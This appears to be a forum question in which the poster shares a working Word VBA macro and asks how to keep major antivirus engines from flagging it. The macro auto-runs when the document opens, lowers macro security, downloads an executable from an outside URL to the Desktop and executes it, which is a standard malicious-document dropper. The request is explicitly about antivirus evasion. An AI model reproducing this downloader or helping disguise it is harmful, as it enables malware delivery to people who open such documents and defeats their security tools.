I have this VBA code that works perfectly but the problem I have is the code been detected by Major antivirus when scanned on Virustotal.com. Its a 52% detection rate which is very poor. From the scan result, major antivirus as detecting downloader.autdwnlrner/w97m
and GT:VB.AutDwnlRner.1.4E2AC9F2
Below is the code:
Sub AutoOpen()
EnableMacros
DownloadAndExecute
End Sub
Sub EnableMacros()
Application.AutomationSecurity = msoAutomationSecurityLow
End Sub
Sub DownloadAndExecute()
Dim url
url = "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe"
Dim filePath
filePath = CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\putty.exe"
Dim http
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.Open "GET", url, False
http.Send
Dim stream
Set stream = CreateObject("ADODB.Stream")
stream.Open
stream.Type = 1 ' Binary data
stream.Write http.ResponseBody
stream.SaveToFile filePath, 2 ' Overwrite existing file
stream.Close
' Execute the downloaded file
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run """" & filePath & """", 1, False
' Clean up the objects
Set stream = Nothing
Set http = Nothing
Set shell = Nothing
End Sub
My Questions is, what can be done to this code that can prevent it from been detected by major antivirus.
Uisng a line breaker couldn't work, so I DON'T know what else to do that can be done that can make it work.